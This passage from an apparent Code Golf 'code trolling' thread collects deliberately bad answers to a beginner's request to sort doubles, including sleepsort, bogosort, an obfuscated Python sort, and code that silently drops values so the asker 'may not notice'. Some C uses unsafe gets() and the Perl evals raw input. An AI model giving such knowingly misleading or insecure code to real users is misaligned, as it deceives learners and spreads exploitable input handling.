FALSE;\n //In C, you need to specify the array size beforehand, so ask\n printf(\"Please enter the length of the array\\n\");\n gets(input);\n //scan the input string and convert to a value\n sscanf(input,\"%s\",&input[0]);\n n=(long)atol(input);\n //allocate space, make sure you get the order of arguments right.\n d = calloc(sizeof(double),n); \n //Get and sort the array\n until (sorted) {\n for (i=0;i \"downto operator\" for counting downto 0. \n for (;n-->0;) printf(\"%lf\\n\",*d++);\n }\n```\n[Answer]\n# C# - There's no kill like overkill\nFirst of all, dear GiMmEtHaCoDeZ, let's try to break down your task:\n1. Read the numbers\n2. Sort them\n3. Output the sorted numbers.\nAs \"Divide and conquer\" is very important strategy when working with software problems, lets tackle them one at a time\n# 1. Reading\nAnother important issue in software is versatility. Since it's not specified how the user will input the numbers, that can happen via the console, via a file, via a web service, etc. Maybe even some method that we can't think of at the moment. So, it's important that our solution will be able to accommodate various types of input. The easiest way to achieve that will be to extract the important part to an interface, let's say\n```\npublic interface IDoubleArrayReader\n{\n IEnumerable GetDoubles();\n DoubleArrayReaderType Type {get;}\n}\n```\nwhere `DoubleArrayReaderType` is an enumeration given with\n```\npublic enum DoubleArrayReaderType\n{\n Console,\n File,\n Database,\n Internet,\n Cloud,\n MockService\n}\n```\nIt's also important to make the software testable from the ground up, so an implementation of the interface will be\n```\npublic class MockServiceDoubleArrayReader : IDoubleArrayReader\n{\n IEnumerable IDoubleArrayReader.GetDoubles()\n {\n Random r = new Random(); \n for(int i =0; i<=10; i++)\n {\n yield return r.NextDouble();\n }\n }\n DoubleArrayReaderType IDoubleArrayReader.Type \n {\n get\n {\n return DoubleArrayReaderType.MockService;\n }\n }\n}\n```\nNext, the logical question is how we will know to load the appropriate `IDoubleArrayReader` into the code. That's easy as long as we use a simple factory:\n```\npublic static class DoubleArrayInputOutputFactory\n{\n private static Dictionary readers;\n static DoubleArrayInputOutputFactory()\n {\n readers = new Dictionary();\n foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())\n {\n try\n {\n var instance = Activator.CreateInstance(type);\n if (instance is IDoubleArrayReader)\n {\n readers.Add((instance as IDoubleArrayReader).Type, \n (instance as IDoubleArrayReader));\n }\n }\n catch\n {\n continue;\n }\n }\n }\n public static IDoubleArrayReader CreateDoubleArrayReader(DoubleArrayReaderType type)\n {\n return readers[type];\n }\n}\n```\nNote that, we use reflection to load all active readers, so any future extensions will be automatically available\nNow, in the main body of out code we just do:\n```\nIDoubleArrayReader reader = DoubleArrayInputOutputFactory\n .CreateDoubleArrayReader(DoubleArrayReaderType.MockService);\nvar doubles = reader.GetDoubles();\n```\n# 2. Processing (sorting)\nNow we need to process, i.e. sort the numbers we have acquired. Note that the steps are completely independent of each other, so to the sorting subsystem, it does not matter how the numbers were inputed. Additionally, the sorting behavior is also something that is subject to change, e.g. we might need to input a more efficient sorting algorithm in place. So, naturally, we'll extract the requested processing behaviour in an interface:\n```\npublic interface IDoubleArrayProcessor\n{\n IEnumerable ProcessDoubles(IEnumerable input);\n DoubleArrayProcessorType Type {get;}\n}\npublic enum DoubleArrayProcessorType\n{\n Sorter,\n Doubler,\n Tripler,\n Quadrupler,\n Squarer\n}\n```\nAnd the sorting behaviour will just implement the interface:\n```\npublic class SorterDoubleArrayProcessor : IDoubleArrayProcessor\n{\n IEnumerable IDoubleArrayProcessor.ProcessDoubles(IEnumerable input)\n {\n var output = input.ToArray();\n Array.Sort(output);\n return output;\n }\n DoubleArrayProcessorType IDoubleArrayProcessor.Type \n {\n get\n {\n return DoubleArrayProcessorType.Sorter;\n }\n }\n}\n```\nOf course, we will need a factory to load and manage the processing instances.\n```\npublic static class DoubleArrayProcessorFactory\n{\n private static Dictionary processors;\n static DoubleArrayProcessorFactory()\n {\n processors = new Dictionary();\n foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())\n {\n try\n {\n var instance = Activator.CreateInstance(type);\n if (instance is IDoubleArrayProcessor)\n {\n processors.Add((instance as IDoubleArrayProcessor).Type, (instance as IDoubleArrayProcessor));\n }\n }\n catch\n {\n continue;\n }\n }\n }\n public static IDoubleArrayProcessor CreateDoubleArrayProcessor(DoubleArrayProcessorType type)\n {\n return processors[type];\n }\n}\n```\n# 3. Writing the output\nNothing much to say here, as this is a process that mirror the input. In fact, we could combine the reading and writing factories into a single `DoubleArrayInputOutputFactory`, like this:\n```\npublic interface IDoubleArrayWriter\n{\n void WriteDoublesArray(IEnumerable doubles);\n DoubleArrayWriterType Type {get;}\n}\npublic enum DoubleArrayWriterType\n{\n Console,\n File,\n Internet,\n Cloud,\n MockService,\n Database\n}\npublic class ConsoleDoubleArrayWriter : IDoubleArrayWriter\n{\n void IDoubleArrayWriter.WriteDoublesArray(IEnumerable doubles)\n {\n foreach(double @double in doubles)\n {\n Console.WriteLine(@double);\n }\n }\n DoubleArrayWriterType IDoubleArrayWriter.Type \n {\n get\n {\n return DoubleArrayWriterType.Console;\n }\n }\n}\npublic static class DoubleArrayInputOutputFactory\n{\n private static Dictionary readers;\n private static Dictionary writers;\n static DoubleArrayInputOutputFactory()\n {\n readers = new Dictionary();\n writers = new Dictionary();\n foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())\n {\n try\n {\n var instance = Activator.CreateInstance(type);\n if (instance is IDoubleArrayReader)\n {\n readers.Add((instance as IDoubleArrayReader).Type, (instance as IDoubleArrayReader));\n }\n }\n catch\n {\n continue;\n }\n }\n foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())\n {\n try\n {\n var instance = Activator.CreateInstance(type);\n if (instance is IDoubleArrayWriter)\n {\n writers.Add((instance as IDoubleArrayWriter).Type, (instance as IDoubleArrayWriter));\n }\n }\n catch\n {\n continue;\n }\n }\n }\n public static IDoubleArrayReader CreateDoubleArrayReader(DoubleArrayReaderType type)\n {\n return readers[type];\n }\n public static IDoubleArrayWriter CreateDoubleArrayWriter(DoubleArrayWriterType type)\n {\n return writers[type];\n }\n}\n```\n# Putting it all together\nFinally, our main program will just use all this awesomeness we have already built, so the code will just be:\n```\nvar doubles = reader.GetDoubles();\ndoubles = processor.ProcessDoubles(doubles);\nwriter.WriteDoublesArray(doubles);\n```\nwhere, e.g. we could define `reader`, `writer` and `processor` using\n```\nIDoubleArrayReader reader = DoubleArrayInputOutputFactory.CreateDoubleArrayReader(DoubleArrayReaderType.MockService);\nIDoubleArrayProcessor processor = DoubleArrayProcessorFactory.CreateDoubleArrayProcessor(DoubleArrayProcessorType.Sorter);\nIDoubleArrayWriter writer = DoubleArrayInputOutputFactory.CreateDoubleArrayWriter(DoubleArrayWriterType.Console);\n```\n[Answer]\nEven more literal interpretation:\n```\necho \" aaehrrty\"\n```\nthat is, \"the array\" sorted.\n[Answer]\n# Perl\nOut of all of the things I've done for CodeGolf.SE, this probably took the most time, at least a few hours.\n```\n$_[0]=eval<>;\nfor(0..$#{$_[0]}**2){\n @_[$#_+1]=[\\(@{$_[$#_]}),$#{$_[$#_]}+1];\n for(1..$#{$_[$#_]}-$#_){\n if(eval('${'x$#_.'@{$_[$#_]}[$_-1]'.'}'x$#_)>eval('${'x$#_.'@{$_[$#_]}[$_]'.'}'x$#_)){\n ${$_[$#_]}[$#{$_[$#_]}]=$_;\n }\n }\n (${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]-1],${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]])=(${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]],${$_[$#_]}[${$_[$#_]}[$#{$_[$#_]}]-1]);\n}\nfor(0..~~@{$_[0]}){\n $\\.=eval('${'x$#_.'${$_[$#_]}[$_-1]'.'}'x$#_).','\n}\n$\\=~s/,*$//;$\\=~s/^,*//;$\\=\"[$\\]\";\nprint;\n```\nInput is of the form `[2,4,5,7,7,3]` and output is of the form `[2,3,4,5,7,7]`.\n~~I don't have time to explain now... be back later.~~\nAnyways, there is something called an anonymous array in Perl. It is an array, but it has no name. What we do know, however, is a reference (memory location) that points to it. A series of numbers in square brackets creates an anonymous array, and it returns a reference to it.\nThis answer is built off of a series of anonymous arrays, the references to which are stored in `@_`. The input is turned into an anonymous array. We then create other anonymous arrays, each element of which is a reference to an element in the previous array. Instead of sorting the elements in the array, we sort the pointers to the elements in that array. Also, we create a new array for each step (and more) in the sort operation.\n[Answer]\n## Python\nGives the user a sorted array by removing all elements not in sorted order from the input array.\n```\nimport sys\nsorted = []\nfor number in map(float, sys.stdin.read().split()):\n if not sorted or number >= sorted[-1]:\n sorted.append(number)\nprint sorted \n```\nThe algorithm goes through the list only adding each element if it won't make the list unsorted. Thus the output is a sorted list, just not one that's contains all the elements of the original list. If the op just checks if the list is in sorted order he may not notice that the output is missing values.\n[Answer]\n# Bash, 54 characters\nA lot of answers using slow inefficient languages like C and Python... let's speed things up a bit by offering a solution in the mother of all scripting languages: Bash.\nI know what you're thinking - Bash can't even handle floating point arithmetic, so how is it going to sort, right? Well, behold, my implementation of the mighty SleepSort algorithm:\n```\n#!/bin/bash\nfor i in $@; do echo -n $(sleep $i)$i' '& done\necho \"Leveraging the power of your $(grep -c ^processor /proc/cpuinfo) cores to \\\nsort optimally by spawning $(jobs -l | wc -l) concurrent sorting threads...\"\nwait\necho -e \"\\nThe array sorted.\"\n```\nThe program is provided with input as commandline arguments. Sample run:\n```\n> ./sleepsort.sh 7 1 4 3 2.752 6.9 0.01 0.02\nLeveraging the power of your 4 cores to optimally by spawning 8 concurrent sorting threads...\n0.01 0.02 1 2.752 3 4 6.9 7\nThe array sorted.\n```\nThis also has the advantage of perhaps being the shortest of all working algorithms presented here. That's right - **one mighty line of bash**, using only bash builtins and not calling any external binaries (that is, if you don't count the purely optional verbose output). Unlike the bogosorts, its runtime is deterministic.\nTip: An effective optimisation is to divide the input numbers by a factor before sorting. Implementation is left up to the reader.\n## Edit:\nShortened 54-char golf version with less pretty-printing:\n```\n#!/bin/sh\nfor i in $@;do echo $(sleep $i)$i&done;wait\n```\n[Answer]\nJavaScript has a built-in `sort()` function, you can use it like this:\n```\nvar numbers = [6, 2.7, 8];\nnumbers.sort();\n// => [2.7, 6, 8]\n```\n...oh, totally forgot to mention, it sorts in lexicographic order, i.e. `10 < 9` and `9 < -100`. Probably that's what you expect anyway.\n[Answer]\n## (jPL) jQuery Programming Language\nYou **must** use jQuery for that. A simple solution to this problem is the following one:\n```\nfunction jSort() {\n var a = 0.0; // position 1\n var b = 0.0; // position 2\n var c = 0.0; // position 3\n var arr = [];\n var nArr = [];\n // don't forget to validate our array!\n if (window.prompt(\"You must only type double values. Type 1 if you accept the terms.\") != 1) {\n alert(\"You can't do that.\");\n return;\n }\n for (var i = 0; i < 3; i++) {\n if (i == 0) {\n var a = window.prompt(\"Type a double value\");\n arr.push(a);\n }\n if (i == 1) {\n var b = window.prompt(\"Type a double value\");\n arr.push(b);\n }\n if (i == 2) {\n var c = window.prompt(\"Type a double value\");\n arr.push(c);\n }\n }\n // Now the tricky part\n var b1 = false;\n var b2 = false;\n var b3 = false;\n for (var i = 0 ; i < 3; i++) {\n // check if the variable value is the same value of the same variable which now is inside the array\n if (i == 0) {\n if (a == arr[i]) {\n b1 = true;\n }\n }\n if (i == 1) {\n if (b == arr[i]) {\n b2 = true;\n }\n }\n if (i == 2) {\n if (c == arr[i]) {\n b3 = true;\n }\n }\n }\n if (b1 == true && b2 == true && b3 == true) {\n if (arr[0] > arr[1]) {\n if (arr[0] > arr[2]) {\n nArr.push(arr[0]);\n } else {\n nArr.push(arr[2]);\n }\n }\n if (arr[1] > arr[0]) {\n if (arr[1] > arr[2]) {\n nArr.push(arr[1]);\n }\n else {\n nArr.push(arr[2]);\n }\n }\n if (arr[2] > arr[0]) {\n if (arr[2] > arr[1]) {\n nArr.push(arr[2]);\n } else {\n nArr.push(arr[1]);\n }\n }\n console.log(arr.sort(function (a, b) { return a - b }));\n alert(arr.sort(function (a, b) { return a - b }));\n }\n}\njSort();\n```\n[Answer]\n# Ruby\n```\nprint \"Input an array of doubles: \"\ngets\nputs \"the array sorted.\"\n```\nFairly self-explanatory.\nOr require the input to actually be \"an array of doubles\":\n```\nprint \"Input an array of doubles: \"\ng = gets until /an array of doubles\\n/\nputs \"the array sorted.\"\n```\nNot using `gets.chomp` for extra evilness. Also using regex after trailing until, which is something I didn't even know you could do (thanks Jan Dvorak) to confuse OP even more! \n[Answer]\n# C\nThis solution combines the conciseness and OS-level access provided by C with the powerful, reusable software components in GNU/Linux:\n```\n#include \nmain(int argc, char **argv)\n{\n system(\"echo Enter numbers one per line, ending with ctrl-D; sort -g\");\n}\n```\n[Answer]\n**Python3.3**\n> \n> Sure, here's the *most simple* Python program that can sort an array\n> given as a list literal on stdin:\n> \n> \n> \n> ```\n> collections = __import__(dir(object.__subclasses__()[7])[1][4:-3] + chr(116))\n> \n> URL = ('https://www.google.com/search?client=ubuntu&channel=fs&q=dante+alighieri'\n> '%27s+divina+commedia&ie=utf-8&oe=utf-8#channel=fs&q=__++divina+commedia+'\n> 'dante+alighieri+inferno+__').translate(\n> dict.fromkeys(map(ord, '+-.:,;bcdefghjklopqrstuvwxyz/&=#?%')))[30:]\n> SECRET_KEY = URL[2:10][::-1][3:-1]\n> DATA = '{}{}{}'.format(URL[:2], SECRET_KEY[:2] + SECRET_KEY[:-3:-1], URL[-2:])\n> \n> \n> \n> if getattr(DATA, dir(list)[7])(__name__):\n> pieces = 'literally - evil'.split(' - ')\n> r = getattr(collections, \n> '_'.join([pieces[0][:-2],\n> pieces[1].translate({ord('j')-1: 'a'})])\n> )((getattr(globals()['__{}__'.format('buildings'.translate(\n> {100:'t', 103:None}))], 'in' r\"put\"))\n> ())\n> tuple((lambda lst:\n> (yield from map(list,\n> map(lambda k: (yield from k), \n> ((lambda i: (yield from map(lambda t:\n> (lst.append(lst[i]) or\n> lst.__setitem__(i, lst[t]) or\n> lst.__setitem__(t, lst.pop())),\n> (j for j in range(i)\n> if (lambda: lst[i] < lst[j])())\n> ))\n> )(è) for è in range(\n> getattr(lst,\n> dir(lst)[19])()))))\n> )\n> )(r))\n> print(r)\n> \n> ```\n> \n> Unfortunately it works only in python3.3+ since it uses the `yield\n> from` expression. The code should be quite self-explanatory, so you\n> shouldn't have any problems when handing it in to your professor.\n> \n> \n> \n---\nThe trolling is in providing a *perfectly working* solution that does exactly what the OP intended, but in a way that is:\n* impossible to understand (by a beginner)\n* impossible to handle in to the teacher because:\n\t+ the OP can't understand it\n\t+ even if he could the teacher wouldn't have time to decipher in order to understand it\n* *scary* for a naive newbie which might think that programming is too hard for him\nIn summary this answer would greatly increase the frustration of the student mocking their requests with perfectly valid answers from a certain point of view.\n---\n(Do not read if you consider a challenge understanding the code above)\nI must add that the trolling is also increased by the fact that the sorting algorithm implemented is actually\n> \n> **bubble-sort!**... which could surely be implemented in a way that even\n> the OP could understand. It's not an obscure algorithm per se, just\n> a good code-obfuscation of something that the OP could otherwise\n> understand perfectly.\n> \n> \n> \n[Answer]\n# Ruby, evil Bogosort! (Bonus: bogosort by user input)\n```\nprint \"Input array of doubles, separated by commas: \"\narr = gets.split(\",\")\narr.shuffle! until arr.each_cons(2).all? {|x| x[0] < x[1]}\nputs arr * \",\"\n```\nThe \"evil\" twists: \n* runs really really really really really really really slowly, of course\n* uses string comparison, so 10 is less than 2. Can be fixed easily with `.map &:to_f` appended to the second line, but OP might not know that\n* not using `chomp` so the last number has a mysterious newline at the end\n* not using `strip` so there is mysterious whitespace around numbers if input with spacing around commas (ex. The space in `1.5, 2`)\nOr, how about **bogosorting by *user input*?!** >:D\n```\nprint \"Input array of doubles, separated by commas: \"\narr = gets.split(\",\")\narr.shuffle! until arr.each_cons(2).all? {|x|\n print \"Is #{x[0]} less than #{x[1]}? (y/n) \"\n gets =~ /y/\n}\nputs arr * \",\"\n```\n[Answer]\n## C - Slow, hard to use, unacceptable coding style\nThe sorting algorithm itself is known as slowsort, and has a best case complexity (simplexity) of around *n^(log n/2)*. The algorithm has been published by Andrei Broder and Jorge Stolfi in their great paper [\"Pessimal Algorithms and Simplexity Analysis\"](http://ivanych.net/doc/PessimalAlgorithmsAndSimplexityAnalysis.pdf) which I highly recommend for good laughs AND food for thought.\n```\nvoid sort(double* arr, int n, int i, int j)\n{\n if(i < j) {\n int m = (i+j)/2;\n sort(arr, n, i , m);\n sort(arr, n, m+1, n);\n if(arr[m] > arr[j]) {\n double t = arr[j];\n arr[j] = arr[m];\n arr[m] = t;\n }\n sort(arr, n, i, j-1);\n }\n}\n```\nHowever the sorting itself is useless, so we need a way for user to input the data they want to sort. Parsing doubles is pain, so why not input them byte by byte.\n```\nconst unsigned MAX_ELEMS = 100;\nint main()\n{\n int i=0, j=0, len;\n char a[MAX_ELEMS*8];\n double* arr = (double*) a;\n short isNull=1;\n while(1) {\n a[i++] = getchar();\n if(i%8 == 0) {\n if(isNull)\n break;\n isNull = 1;\n }\n else if(a[i-1] != 0)\n isNull = 0;\n }\n len=i/8 - 1;\n sort(arr, len-1, 0, len-1);\n for(i = 0; i < len; i++)\n {\n printf(\"%f \", arr[i]);\n }\n}\n```\nTo prove that it works:\n```\n $ gcc -g trollsort.c -o trollsort\ntrollsort.c: In function ‘main’:\ntrollsort.c:43:3: warning: incompatible implicit declaration of built-in function ‘printf’\n $ echo -en \"\\0\\0\\0\\0\\0\\xe4\\x94\\x40\\0\\0\\0\\0\\0\\0\\xf0\\x3f\\0\\0\\0\\0\\0\\0\\x45\\x40\\0\\0\\0\\0\\0\\0\\0\\0\" | ./trollsort\n1.000000 42.000000 1337.000000\n```\nIn the end we have:\n* The slowest deterministic sorting algorithm I'm aware of\n* Silent hard coded limits on list length\n* Absolutely horrible input, I could also make output similar but I think it's funnier this way.\n\t+ Consider: You will need to know which endianess your machine is to use the program.\n\t+ Also you cannot input 0 (-0 is ok)\n* Pointer arithmetics and pretty much no concern for types as pointers are casted whichever way\n[Answer]\n# COBOL\nSure! [\"Even a monkey can do this!\"](https://codegolf.stackexchange.com/a/16245/10612)\nHere is a [simple COBOL program](http://theamericanprogrammer.com/programming/10-sortex1.shtml) that will sort the input for you. Read the comments to see exactly how trivial and extensible it is. The real benefits of this are that it is tried and true mechanism, it does not rely on new and relatively untested languages like Java and anything web-based or from Microsoft. It compiles really effectively, and procedures like this are used by the most successful financial companies in the Fortune500 and other industry leaders. This code has been reviewed by many experts and is recognized as being an excellent mechanism for sorting.\n```\n000100 IDENTIFICATION DIVISION.\n000200* Cobol sort. Consistent with COBOL 390\n000300* does not use sections; does not use go to\n000400* uses sort procedures\n000500* does a sort with some minimal input validation\n000600* since everything is done in an orderly way,\n000700* you can easily add code of your own to this program\n000800 PROGRAM-ID. 'SORTEX1'.\n000900 ENVIRONMENT DIVISION.\n001000 CONFIGURATION SECTION.\n001100 INPUT-OUTPUT SECTION.\n001200 FILE-CONTROL.\n001300* INPUT FILE UNSORTED\n001400 SELECT UNSORTED-FILE ASSIGN UNSORTED.\n001500* The work file for the sort utility\n001600* you need the select and an sd but do not need jcl for it\n001700 SELECT SORT-WORK ASSIGN SORTWORK.\n001800* output file normally a disk/tape file\n001900* for this program, send it to the printer\n002000 SELECT SORTED-FILE ASSIGN SORTED.\n002100*\n002200 DATA DIVISION.\n002300 FILE SECTION.\n002400*\n002500 FD UNSORTED-FILE\n002600 RECORDING MODE IS F\n002900 RECORD CONTAINS 80 CHARACTERS.\n003000\n003100 01 UNSORTED-RECORD.\n003200 05 WS-UR-ACCT-NO PIC X(5).\n003300 05 FILLER PIC X(5).\n003400 05 WS-UR-AMOUNT PIC 9(5).\n003500 05 WS-UR-CUST-NAME PIC X(10).\n003600 05 FILLER PIC X(5).\n003700 05 WS-UR-TRANS-CODE PIC X(1).\n003800 05 FILLER PIC X(49).\n003900\n004000 SD SORT-WORK\n004400 RECORD CONTAINS 80 CHARACTERS.\n004500*\n004600 01 SORT-WORK-RECORD.\n004700* You need a definition and picture for\n004800* the field that is sorted on (sort key)\n004900 05 SW-ACCT-NO PIC X(05).\n005000* YOU NEED A FILLER TO COMPLETE THE DEFINITION\n005100 05 FILLER PIC X(75).\n005200*\n005300 FD SORTED-FILE\n005400 RECORDING MODE IS F\n005700 RECORD CONTAINS 80 CHARACTERS.\n005800*\n005900 01 SORTED-RECORD.\n006000 05 WS-SR-ACCT-NO PIC X(05).\n006100 05 FILLER PIC X(05).\n006200 05 WS-SR-AMOUNT PIC 9(05).\n006300 05 WS-SR-CUST-NAME PIC X(10).\n006400 05 FILLER PIC X(55).\n006500\n006600 WORKING-STORAGE SECTION.\n006700 01 SWITCHES.\n006800 05 UNSORTED-FILE-AT-END PIC X VALUE 'N'.\n006900 05 SORT-WORK-AT-END PIC X VALUE 'N'.\n007000 05 valid-sw PIC X VALUE 'N'.\n007100\n007200 01 COUNTERS.\n007300 05 RELEASED-COUNTER PIC S9(7)\n007400 PACKED-DECIMAL VALUE +0.\n007500 05 REJECT-COUNTER PIC S9(7)\n007600 PACKED-DECIMAL VALUE +0.\n007700\n007800 PROCEDURE DIVISION.\n007900 PERFORM INITIALIZATION\n008000* Compare this logic to that of the simple program\n008100* notice how the sort verb replaces the\n008200* perform main until end of file etc\n008300 SORT SORT-work ASCENDING KEY SW-ACCT-NO\n008400 INPUT PROCEDURE SORT-INPUT\n008500 OUTPUT PROCEDURE SORT-OUTPUT\n008600 PERFORM TERMINATION\n008700 GOBACK.\n008800\n008900 INITIALIZATION.\n009000* Do what you normally do in initialization\n009100* open the regular input file (not the sort work file)\n009200* and other files needed\n009300* (you could open them in the sort input procedure, too)\n009400 OPEN INPUT UNSORTED-FILE\n009500 output SORTED-FILE\n009600* READ THE FIRST RECORD ON THE REGULAR INPUT FILE\n009700 PERFORM READ-IT.\n009800* Whatever else you do in initialization\n009900* headers, initialize counters, etc\n010000\n010100 TERMINATION.\n010200* Do what you normally do in termination\n010300* print out total lines\n010400* close the files you opened\n010500* display totals\n010600 CLOSE UNSORTED-FILE\n010700 SORTED-FILE.\n010800\n010900 READ-IT.\n011000 READ UNSORTED-FILE\n011100 AT END MOVE 'Y' TO UNSORTED-FILE-AT-END\n011200 END-READ.\n011300\n011400 SORT-INPUT.\n011500* This is the 'sort input procedure'\n011600* when control passes thru the last statement in it\n011700* the input phase of the sort is finished\n011800* and actual sorting takes place\n011900 PERFORM SORT-INPUT-PROCESS-ALL\n012000 UNTIL UNSORTED-FILE-AT-END = 'Y'.\n012100\n012200 SORT-INPUT-PROCESS-ALL.\n012300* This is the point when you have each unsorted input record\n012400* in your hands\n012500* many programs do some validation or selection here\n012600* to determine which records are actually given to the sort util\n012700* we will do some simple validation here\n012800 MOVE 'Y' TO VALID-SW\n012900 PERFORM SORT-INPUT-VALIDATE\n013000 IF VALID-SW = 'Y'\n013100 THEN\n013200** Give the unsorted input record to the sort utility\n013300 RELEASE SORT-work-RECord FROM unsorted-RECORD\n013400 ADD 1 TO RELEASED-COUNTER\n013500 ELSE\n013600** Here, you have decided not to give the unsorted input\n013700** record to the sort utility\n013800 ADD 1 TO REJECT-COUNTER\n013900 END-IF\n014000 PERFORM READ-IT.\n014100\n014200 SORT-INPUT-VALIDATE.\n014300* Check the regular input record for validity.\n014400* if it is not suitable for sorting, set the valid sw\n014500* other validation criteria would apply for other files\n014600 IF WS-UR-ACCT-NO IS equal to spaces\n014700 THEN MOVE 'N' TO VALID-SW\n014800 END-IF.\n014900\n015000 SORT-OUTPUT.\n015100* This is the 'sort output procedure'\n015200* when control passes thru the last statement in it\n015300* the output phase of the sort is finished\n015400* you have seen (returned) the last sorted record\n015500* and the sort utility is finished\n015600 PERFORM RETURN-IT\n015700 PERFORM SORT-OUTPUT-PROCESS-ALL\n015800 UNTIL SORT-WORK-AT-END = 'Y'.\n015900\n016000 RETURN-IT.\n016100* Gets each sorted record from the sort utility\n016200* return is logically like a read\n016300 RETURN SORT-work\n016400 AT END MOVE 'Y' TO SORT-work-AT-END\n016500 END-RETURN.\n016600\n016700 SORT-OUTPUT-PROCESS-ALL.\n016800 PERFORM SORT-OUTPUT-PROCESSING\n016900 PERFORM RETURN-IT.\n017100 SORT-OUTPUT-PROCESSING.\n017200* Here you do the things you do in a\n017300* regular program's main processing routine\n017400* add totals, compute things\n017500* write detail records, print lines, etc\n017600* you could put control break check here\n017700* this program just and writes the record out to \"sorted file\"\n017900 MOVE SORT-WORK-RECORD TO SORTED-RECORD\n018100 WRITE SORTED-RECORD.\n```\n[Answer]\nOP never said HOW to sort them... or what his definition of doubles is. Assuming datatype `double` but interpreting it as *duplicates*. Using JavaScript here.\n```\nvar arr = [4, 6, 7, 4, 5, 9, 11, 7],\n flag = 1,\n result = [];\nwhile( arr.length ) {\n for( var i = 0, index = 0; i < arr.length; ++i ) {\n if( arr[i] * flag < arr[index] * flag ) {\n console.log(arr[i], arr[index]);\n index = i;\n }\n }\n arr.splice(index, 1);\n flag = -flag;\n}\n```\nResult: alternating order `[4, 11, 4, 9, 5, 7, 6, 7]`\n[Answer]\n# PHP\nHere is a full implementation with error handling. It is the fastest for any `array of doubles`.\n```\n\n```\n[Answer]\n[solution by punctilious misdirection]\nPlease read the relevant standard, IEC 60559:1989\n*Specification for binary floating point arithmetic for microprocessor systems*, which you can purchase [here](http://shop.bsigroup.com/ProductDetail/?pid=000000000000218955). In the footnote to §5.10 *Details of totalOrder predicate*, it is noted that:\n> \n> totalOrder does not impose a total ordering on all encodings in a format. In particular, it does not distinguish among different encodings of the same floating-point representation, as when one or both encodings are non-canonical.\n> \n> \n> \nThus we see that it is impossible to write code to sort doubles. It is a trick question. Ha, ha, very clever! Please tell your professor I am enjoying his course very much.\n[edit: nothing requires me *not* to assume that the problem demands a total order]\n[Answer]\n```\ndo\n{\n}\nwhile(next_permutation(begin(ar), end(ar)));\n```\nNext permutation in C++ works by returning true when the array is sorted and false otherwise (after it permutes). So you are supposed to sort the array and then use it in a do-while as above (so it will make a full circle back to the sorted array).\n[Answer]\n**An evil JavaScript:**\nOP, I don't want to give you everything so I'll let you figure out how to get input from the user on your own (hint: use `prompt`). \nOnce you have that, here is a function you can pass your array into to sort it. You just need to provide the array, the lowest value in the array, and an increment:\n```\nvar sortDoubles = function (unsortedArray, minimumVal, increment) {\n var sortedArray = [];\n while (unsortedArray.length != sortedArray.length) {\n var index = unsortedArray.indexOf(minimumVal);\n if (index != -1) {\n sortedArray.push(unsortedArray[index]);\n }\n minimumVal += increment;\n }\n return sortedArray;\n};\n```\n[Here is a fiddle to see it in action with the example user input [1.5, -3.5, 12, 10, -19.5].](http://jsfiddle.net/briguy37/qMZG5/)\n---\nNote: Aside from being poor-performing, complex, and unextensible for the problem at hand, this will be especially frustrating if the OP doesn't know about floating point math. For example, if the user input is `[8.1, 5, -.8, 2.3, 5.6, 17.9]` and the OP chooses the straightforward values (i.e. `minimumVal=-.8` and `increment=.1`), the program will run forever. On a related note, I am currently the proud owner of 2 non-functioning browser tabs due to this very issue :)\nNote II: I felt disgusting even writing the above code.\nNote III: **MWA HAHAHAHA!**\n[Answer]\n### Genetic algorithm/Monte Carlo method for the sorting problem in JAVA\nThe sorting problem is known to computing science for a long time and many good solutions have been found. In recent years there have been great advances in biocomputing and looking at how biology solves problems has shown to be of great help in solving hard problems. This sorting algorithm takes the best of these ideas to use them to solve the sorting problem. The idea is pretty simple. You start with an unordered array and find out how sorted this is already. You give it a score of its \"sortedness\" and then permute the array with a random component - just like in biology where it is not clear how the kids will look like even if you know all about the parents! This is the genetic algorithm part. You create the offspring of that array so to say. Then you see if the offspring is better sorted than the parent (aka survival of the fittest!). If this is the case you go on with this new array as starting point to build the next permutation and so forth until the array is fully sorted. The cool thing about this approach is that it takes shorter, if the array is already a bit sorted from the start!\n```\npackage testing;\nimport java.awt.List;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Random;\nimport org.joda.time.DateTime;\nimport org.joda.time.Interval;\npublic class MonteCarloSort {\n private static final Random RANDOM = new Random();\n public static void main(String[] args) {\n List doubleList = new java.awt.List();\n // prompt the user to enter numbers\n System.out.print(\"Enter a number or hit return to start sorting them!\");\n // open up standard input\n BufferedReader br = new BufferedReader(new InputStreamReader(System.in));\n String input = null;\n // read the numbers from the command-line; need to use try/catch !!!\n do{\n try {\n input = br.readLine();\n } catch (IOException ioe) {\n System.out.println(\"IO error trying to read a number!\");\n System.exit(1);\n }\n try {\n double d = Double.parseDouble(input);\n doubleList.add(input);\n } catch (NumberFormatException e) {\n if (!input.equals(\"\")) System.out.println(\"Only numbers are allowed.\");\n }\n } while (!input.equals(\"\"));\n printCurrentListAndStuff(doubleList);\n while (isAscSorted(doubleList) < doubleList.getItemCount()){\n List newlist = createPermutation(doubleList);\n //genetic algorithm approach!\n if (isAscSorted(doubleList) <= isAscSorted(newlist)){\n //the new list is better, so we use it as starting point for the next iteration!\n doubleList = newlist;\n printCurrentListAndStuff(doubleList);\n }\n }\n System.out.println(\"done!\");\n }\n private static void printCurrentListAndStuff(List doubleList){\n System.out.print(\"array sortedness is now \" + isAscSorted(doubleList) + \"(max = \"+doubleList.getItemCount()+\"): \");\n printList(doubleList);\n System.out.print(\"\\n\"); \n }\n private static void printList(List doubleList){\n for (int i = 0; i < doubleList.getItemCount(); i++){\n String doubleVal = doubleList.getItem(i);\n System.out.print((i>0?\", \":\"\") +doubleVal);\n } \n }\n private static List createPermutation(List doubleList){\n int sortedness = isAscSorted(doubleList);\n if (sortedness == doubleList.getItemCount()) return doubleList;\n //we take the first non fitting item and exchange it by random\n int swapWith = RANDOM.nextInt(doubleList.getItemCount());\n //it makes no sense to swap with itself, so we exclude this\n while (swapWith == sortedness){\n swapWith = RANDOM.nextInt(doubleList.getItemCount());\n }\n List newList = new List();\n for (int i = 0; i < doubleList.getItemCount(); i++){\n if ( i == sortedness){\n newList.add(doubleList.getItem(swapWith)); \n }\n else if ( i == 